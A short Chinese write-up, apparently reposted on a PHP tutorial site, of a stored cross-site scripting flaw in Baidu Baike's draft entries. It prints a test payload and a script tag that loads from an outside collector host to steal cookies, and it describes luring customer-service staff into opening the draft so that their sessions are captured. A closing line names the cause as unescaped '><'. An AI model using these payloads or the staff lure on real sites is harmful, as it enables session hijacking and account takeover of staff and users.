百度百科创建词条xss - 网站安全 - 自学php

百度百科创建词条的xss，为了不提交审核我保存了草稿，不过还是可以查看的，当查看时候cookies嗖地一下过来了

那么你懂的，稍微和客服说一下，小社一下，这词条啥啥啥的问题

他们去看了一下

你懂的

 

><script>alert(/test by lshack/)</script><

 

 

测试代码效果

 

那么我们开始咯

代码

><script src="http://xssav.com/?u=7505be"></script><

 

 

 

这IE6，估计也就编辑器 漏洞 可以使使他了，真不给力

 

 

注意邮件时间哦，我们过一会儿再去看​

修复方案：

><导致闭合了，你们自己看吧

查看更多关于百度百科创建词条xss - 网站安全 - 自学php的详细内容...